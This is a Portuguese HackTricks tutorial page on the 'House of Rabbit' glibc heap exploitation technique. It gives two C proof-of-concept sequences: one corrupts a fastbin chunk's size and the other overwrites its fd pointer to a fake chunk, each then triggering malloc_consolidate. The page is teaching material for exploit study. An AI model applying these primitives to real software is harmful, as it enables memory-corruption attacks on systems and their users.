# Casa do Coelho

{% hint style="success" %}
Aprenda e pratique Hacking na AWS: <img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Treinamento HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprenda e pratique Hacking no GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Treinamento HackTricks GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)

<details>

<summary>Apoie o HackTricks</summary>

* Verifique os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).

</details>
{% endhint %}

### Requisitos

1. **Capacidade de modificar o ponteiro fd ou o tamanho do fast bin**: Isso significa que você pode alterar o ponteiro forward de um pedaço no fastbin ou seu tamanho.
2. **Capacidade de acionar `malloc_consolidate`**: Isso pode ser feito alocando um grande pedaço ou mesclando o pedaço superior, o que força o heap a consolidar pedaços.

### Objetivos

1. **Criar pedaços sobrepostos**: Para ter um pedaço sobreposto com outro, permitindo manipulações adicionais no heap.
2. **Forjar pedaços falsos**: Para enganar o alocador a tratar um pedaço falso como um pedaço legítimo durante operações no heap.

## Etapas do ataque

### POC 1: Modificar o tamanho de um pedaço fast bin

**Objetivo**: Criar um pedaço sobreposto manipulando o tamanho de um pedaço fastbin.

* **Passo 1: Alocar Pedaços**
```cpp
unsigned long* chunk1 = malloc(0x40);  // Allocates a chunk of 0x40 bytes at 0x602000
unsigned long* chunk2 = malloc(0x40);  // Allocates another chunk of 0x40 bytes at 0x602050
malloc(0x10);                          // Allocates a small chunk to change the fastbin state
```
* **Passo 2: Liberar Chunks**
```cpp
free(chunk1);  // Frees the chunk at 0x602000
free(chunk2);  // Frees the chunk at 0x602050
```
* **Passo 3: Modificar o Tamanho do Chunk**
```cpp
chunk1[-1] = 0xa1;  // Modify the size of chunk1 to 0xa1 (stored just before the chunk at chunk1[-1])
```
* **Passo 4: Acionar `malloc_consolidate`**
```cpp
malloc(0x1000);  // Allocate a large chunk to trigger heap consolidation
```
Alocar um grande bloco aciona a função `malloc_consolidate`, mesclando pequenos blocos no fast bin. O tamanho manipulado do `chunk1` faz com que ele se sobreponha ao `chunk2`.

Após a consolidação, o `chunk1` se sobrepõe ao `chunk2`, permitindo uma exploração adicional.

### POC 2: Modificar o ponteiro `fd`

**Objetivo**: Criar um bloco falso manipulando o ponteiro `fd` do fast bin.

* **Passo 1: Alocar Blocos**
```cpp
unsigned long* chunk1 = malloc(0x40);  // Allocates a chunk of 0x40 bytes at 0x602000
unsigned long* chunk2 = malloc(0x100); // Allocates a chunk of 0x100 bytes at 0x602050
```
**Explicação**: Alocamos dois blocos, um menor e um maior, para configurar o heap para o bloco falso.

* **Passo 2: Criar bloco falso**
```cpp
chunk2[1] = 0x31;  // Fake chunk size 0x30
chunk2[7] = 0x21;  // Next fake chunk
chunk2[11] = 0x21; // Next-next fake chunk
```
* **Passo 3: Liberar `chunk1`**
```cpp
free(chunk1);  // Frees the chunk at 0x602000
```
**Explicação**: Liberamos `chunk1`, adicionando-o à lista fastbin.

* **Passo 4: Modificar `fd` de `chunk1`**
```cpp
chunk1[0] = 0x602060;  // Modify the fd of chunk1 to point to the fake chunk within chunk2
```
**Explicação**: Alteramos o ponteiro para frente (`fd`) do `chunk1` para apontar para o nosso chunk falso dentro do `chunk2`.

* **Passo 5: Acionar `malloc_consolidate`**
```cpp
malloc(5000);  // Allocate a large chunk to trigger heap consolidation
```
Alocar novamente um grande bloco aciona o `malloc_consolidate`, que processa o bloco falso.

O bloco falso passa a fazer parte da lista fastbin, tornando-se um bloco legítimo para futuras explorações.

### Resumo

A técnica **House of Rabbit** envolve modificar o tamanho de um bloco fast bin para criar blocos sobrepostos ou manipular o ponteiro `fd` para criar blocos falsos. Isso permite que os atacantes forjem blocos legítimos no heap, possibilitando várias formas de exploração. Compreender e praticar esses passos irá aprimorar suas habilidades de exploração de heap.